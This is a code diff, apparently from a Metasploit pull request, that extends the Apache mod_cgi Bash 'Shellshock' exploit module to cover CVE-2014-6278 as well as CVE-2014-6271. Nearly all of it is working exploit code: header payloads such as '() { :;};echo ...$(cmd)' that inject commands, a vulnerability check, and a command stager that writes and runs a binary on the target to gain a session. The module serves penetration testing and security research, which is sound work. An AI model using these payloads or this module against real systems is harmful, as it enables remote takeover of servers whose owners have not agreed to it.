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Add CVE-2014-6278 support to the bash exploit module #3932

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Oct 1, 2014
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Add CVE-2014-6278 support to the bash exploit module #3932

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30 changes: 22 additions & 8 deletions modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb
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Original file line number Diff line number Diff line change
Expand Up @@ -22,10 +22,12 @@ def initialize(info = {})
'Author' => [
'Stephane Chazelas', # Vulnerability discovery
'wvu', # Original Metasploit aux module
'juan vazquez' # Allow wvu's module to get native sessions
'juan vazquez', # Allow wvu's module to get native sessions
'lcamtuf' # CVE-2014-6278
],
'References' => [
['CVE', '2014-6271'],
['CVE', '2014-6278'],
['OSVDB', '112004'],
['EDB', '34765'],
['URL', 'https://access.redhat.com/articles/1200223'],
Expand Down Expand Up @@ -64,12 +66,13 @@ def initialize(info = {})
OptString.new('HEADER', [true, 'HTTP header to use', 'User-Agent']),
OptInt.new('CMD_MAX_LENGTH', [true, 'CMD max line length', 2048]),
OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']),
OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5])
OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5]),
OptEnum.new('CVE', [true, 'CVE to check/exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278']])
], self.class)
end

def check
res = req("echo #{marker}")
res = req("echo #{marker}", datastore['CVE'])

if res && res.body.include?(marker * 3)
return Exploit::CheckCode::Vulnerable
Expand Down Expand Up @@ -105,31 +108,42 @@ def exploit
# A last chance after the cmdstager
# Trying to make it generic
unless session_created?
req("#{stager_instance.instance_variable_get("@tempdir")}#{stager_instance.instance_variable_get("@var_elf")}")
req("#{stager_instance.instance_variable_get("@tempdir")}#{stager_instance.instance_variable_get("@var_elf")}", datastore['CVE'])
end
end

def execute_command(cmd, opts)
cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")

req(cmd)
req(cmd, datastore['CVE'])
end

def req(cmd)
def req(cmd, cve)
case cve
when 'CVE-2014-6271'
sploit = cve_2014_6271(cmd)
when 'CVE-2014-6278'
sploit = cve_2014_6278(cmd)
end

send_request_cgi(
{
'method' => datastore['METHOD'],
'uri' => normalize_uri(target_uri.path.to_s),
'headers' => {
datastore['HEADER'] => sploit(cmd)
datastore['HEADER'] => sploit
}
}, datastore['TIMEOUT'])
end

def sploit(cmd)
def cve_2014_6271(cmd)
%Q{() { :;};echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"}
end

def cve_2014_6278(cmd)
%Q{() { _; } >_[$($())] { echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"; }}
end

def marker
@marker ||= rand_text_alphanumeric(rand(42) + 1)
end
Expand Down